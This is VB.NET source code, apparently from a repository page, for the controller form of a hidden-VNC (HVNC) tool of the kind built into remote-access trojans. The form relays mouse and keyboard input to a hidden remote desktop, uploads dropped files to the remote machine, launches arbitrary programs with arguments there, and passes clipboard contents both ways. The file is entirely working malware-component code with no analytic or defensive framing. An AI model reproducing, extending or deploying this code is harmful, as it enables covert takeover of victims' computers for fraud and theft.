281 lines
11 KiB
VB.net
281 lines
11 KiB
VB.net
Imports System.Text
|
|
Imports Microsoft.VisualBasic.CompilerServices
|
|
Imports System.Threading
|
|
Public Class HVNC
|
|
|
|
Public C As Client
|
|
|
|
Public Width As Integer
|
|
Public Height As Integer
|
|
|
|
|
|
|
|
Private int_0 As Integer
|
|
Private bool_1 As Boolean
|
|
Private bool_2 As Boolean
|
|
|
|
|
|
Private int_1 As Integer
|
|
Private bool_3 As Boolean
|
|
Private bool_4 As Boolean
|
|
|
|
Public FPS As Integer = 0
|
|
Public sw As Stopwatch = Stopwatch.StartNew()
|
|
Public Property VNCBoxe() As PictureBox
|
|
Get
|
|
Return PictureBox1
|
|
End Get
|
|
Set(value As PictureBox)
|
|
PictureBox1 = value
|
|
End Set
|
|
End Property
|
|
Private Sub Form2_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
|
|
|
AddHandler MyBase.MouseWheel, AddressOf MyMouseWheel
|
|
|
|
PictureBox1.AllowDrop = True
|
|
Guna2ComboBox2.SelectedIndex = 0
|
|
Guna2ComboBox1.SelectedIndex = 0
|
|
Guna2ComboBox3.SelectedIndex = 8
|
|
Guna2ComboBox4.SelectedIndex = 0
|
|
|
|
Guna2GradientButton1.PerformClick()
|
|
|
|
End Sub
|
|
|
|
Private Sub MyMouseWheel(sender As Object, e As MouseEventArgs)
|
|
If Guna2GradientButton1.Text = "Capturing..." Then
|
|
Dim flag2 As Boolean = e.Delta < 0
|
|
If flag2 Then
|
|
Dim B As Byte() = SB("ScrollDown")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Else
|
|
Dim B As Byte() = SB("ScrollUp")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_MouseEnter(sender As Object, e As EventArgs) Handles PictureBox1.MouseEnter
|
|
If Guna2GradientButton1.Text = "Capturing..." Then
|
|
PictureBox1.Focus()
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_MouseUp(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseUp
|
|
|
|
If Guna2GradientButton1.Text = "Capturing..." Then
|
|
|
|
Dim PP = New Point(e.X * (Width / PictureBox1.Width), e.Y * (Height / PictureBox1.Height))
|
|
|
|
If e.Button = MouseButtons.Left Then
|
|
Dim B As Byte() = SB("MouseLeftUp" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
ElseIf e.Button = MouseButtons.Right Then
|
|
Dim B As Byte() = SB("MouseRightUp" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
|
|
End If
|
|
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_MouseDown(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseDown
|
|
|
|
If Guna2GradientButton1.Text = "Capturing..." Then
|
|
|
|
|
|
If bool_1 Then
|
|
bool_1 = False
|
|
Timer2.Start()
|
|
ElseIf int_0 < SystemInformation.DoubleClickTime Then
|
|
bool_2 = True
|
|
End If
|
|
|
|
|
|
If bool_3 Then
|
|
bool_3 = False
|
|
Timer3.Start()
|
|
ElseIf int_1 < SystemInformation.DoubleClickTime Then
|
|
bool_3 = True
|
|
End If
|
|
|
|
|
|
|
|
Dim PP = New Point(e.X * (Width / PictureBox1.Width), e.Y * (Height / PictureBox1.Height))
|
|
|
|
If bool_3 Then
|
|
|
|
Dim B As Byte() = SB("MouseDoubleClick" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
Return
|
|
|
|
Else
|
|
|
|
If bool_2 Then
|
|
|
|
If e.Button = MouseButtons.Left Then
|
|
Dim B As Byte() = SB("MouseLeftDown" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
|
|
ElseIf e.Button = MouseButtons.Left Then
|
|
Dim B As Byte() = SB("MouseLeftDown" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
ElseIf e.Button = MouseButtons.Right Then
|
|
Dim B As Byte() = SB("MouseRightDown" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
|
|
End If
|
|
End If
|
|
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_MouseMove(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseMove
|
|
|
|
If Guna2GradientButton1.Text = "Capturing..." Then
|
|
Dim PP = New Point(e.X * (Width / PictureBox1.Width), e.Y * (Height / PictureBox1.Height))
|
|
Dim B As Byte() = SB("MouseMove" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_KeyPress(sender As Object, e As KeyPressEventArgs) Handles PictureBox1.KeyPress
|
|
|
|
If Guna2GradientButton1.Text = "Capturing..." Then
|
|
Dim B As Byte() = SB("KeyboardDown" & SettingsHelper.SPL & e.KeyChar)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
|
|
End Sub
|
|
|
|
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
|
Try
|
|
If Not C.IsConnected Then
|
|
Close()
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Form2_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
|
Dim B As Byte() = SB("CloseHVNC")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
|
|
int_0 += 100
|
|
Dim flag As Boolean = int_0 >= SystemInformation.DoubleClickTime
|
|
If flag Then
|
|
bool_1 = True
|
|
bool_2 = False
|
|
int_0 = 0
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
|
|
int_1 += 100
|
|
Dim flag As Boolean = int_1 >= SystemInformation.DoubleClickTime
|
|
If flag Then
|
|
bool_3 = True
|
|
bool_4 = False
|
|
int_1 = 0
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_DragEnter(sender As Object, e As DragEventArgs) Handles PictureBox1.DragEnter
|
|
If e.Data.GetDataPresent(DataFormats.FileDrop) Then
|
|
e.Effect = DragDropEffects.Copy
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_DragDrop(sender As Object, e As DragEventArgs) Handles PictureBox1.DragDrop
|
|
Dim files() As String = e.Data.GetData(DataFormats.FileDrop)
|
|
For Each path In files
|
|
If IO.File.Exists(path) Then
|
|
Dim B As Byte() = SB("DeskDrop" & SettingsHelper.SPL & IO.Path.GetFileName(path) & SettingsHelper.SPL & Convert.ToBase64String(Compress(IO.File.ReadAllBytes(path))))
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
|
|
|
If Guna2GradientButton1.Text = "OFF" Then
|
|
Guna2GradientButton1.Text = "Capturing..."
|
|
Guna2GradientButton1.Image = My.Resources._Stop
|
|
|
|
Dim B As Byte() = SB("Cap" & SettingsHelper.SPL & Guna2ComboBox1.Text.Replace("%", "").ToString & SettingsHelper.SPL & Conversions.ToString(Convert.ToDouble(Guna2ComboBox3.Text.Replace("%", "").ToString) / 100.0))
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
Else
|
|
Guna2GradientButton1.Text = "OFF"
|
|
Guna2GradientButton1.Image = My.Resources.Play
|
|
End If
|
|
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton6_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton6.Click
|
|
If Not String.IsNullOrEmpty(Guna2ComboBox2.Text) Then
|
|
Dim B As Byte() = SB(Guna2ComboBox2.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
|
|
Using form As CustomOpen = New CustomOpen
|
|
form.Guna2TextBox1.PlaceholderText = "Filename"
|
|
form.Guna2TextBox2.PlaceholderText = "Argument"
|
|
form.StartPosition = FormStartPosition.CenterParent
|
|
If form.ShowDialog() = DialogResult.OK Then
|
|
Dim B As Byte() = SB("CustomOpen" & SettingsHelper.SPL & form.Guna2TextBox1.Text & SettingsHelper.SPL & form.Guna2TextBox2.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
End Using
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton3_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton3.Click
|
|
Try
|
|
Dim B As Byte() = SB("CopyClib" & SettingsHelper.SPL & Windows.Forms.Clipboard.GetText)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton4_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton4.Click
|
|
Try
|
|
Dim B As Byte() = SB("Paste" & SettingsHelper.SPL & Convert.ToBase64String(Encoding.UTF8.GetBytes(Windows.Forms.Clipboard.GetText)))
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton5_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton5.Click
|
|
If Guna2GradientButton1.Text = "Capturing..." Then
|
|
Select Case Guna2ComboBox4.Text
|
|
Case "Close"
|
|
Dim B As Byte() = SB("CloseWindow")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Case "Maximize"
|
|
Dim B As Byte() = SB("RestoreMaxTop")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Case "Minimize"
|
|
Dim B As Byte() = SB("MinTop")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Select
|
|
End If
|
|
End Sub
|
|
End Class
|
|
|
|
|
|
|
|
|
|
|
|
|